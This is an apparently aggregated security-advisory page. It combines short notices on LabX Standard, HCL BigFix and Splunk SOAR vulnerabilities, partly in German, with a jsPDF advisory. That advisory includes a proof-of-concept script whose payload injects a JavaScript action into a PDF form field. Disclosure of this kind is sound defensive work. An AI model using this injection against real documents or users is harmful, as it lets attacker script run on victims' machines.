CVE-2026-24737

Multiple vulnerabilities have been discovered in LabX Standard v21.3.22. Most of the vulnerabilities are fixed in LabX Standard v21.4.23. The Vulnerabilities CVE-2025-69419, CVE-2026-0915, CVE-2025-15467 and CVE-2025-58187 are not yet fixed. The fix will be available in the upcoming releases. Notice: LabX Standard was formerly known as LabX Cloud Local.

Ein Angreifer kann mehrere Schwachstellen in HCL BigFix ausnutzen, um Informationen offenzulegen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, und um Dateien zu manipulieren.

Ein Angreifer kann mehrere Schwachstellen in Splunk SOAR ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen SQL-Injection Angriff durchzuführen, um einen Cross-Site Scripting Angriff durchzuführen, und um beliebigen Programmcode auszuführen.

### Impact User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are: * `AcroformChoiceField.addOption` * `AcroformChoiceField.setOptions` * `AcroFormCheckBox.appearanceState` * `AcroFormRadioButton.appearanceState` Example attack vector: ```js import { jsPDF } from "jspdf" const doc = new jsPDF(); var choiceField = new doc.AcroFormChoiceField(); choiceField.T = "VulnerableField"; choiceField.x = 20; choiceField.y = 20; choiceField.width = 100; choiceField.height = 20; // PAYLOAD: // 1. Starts with "/" to bypass escaping. // 2. "dummy]" closes the array. // 3. "/AA" injects an Additional Action (Focus event). // 4. "/JS" executes arbitrary JavaScript. const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage ["; choiceField.addOption(payload); doc.addField(choiceField); doc.save("test.pdf"); ``` ### Patches The vulnerability has been fixed in jsPDF@4.1.0. ### Workarounds Sanitize user input before passing it to the vulnerable API members. ### Credits Research and fix: Ahmet Artuç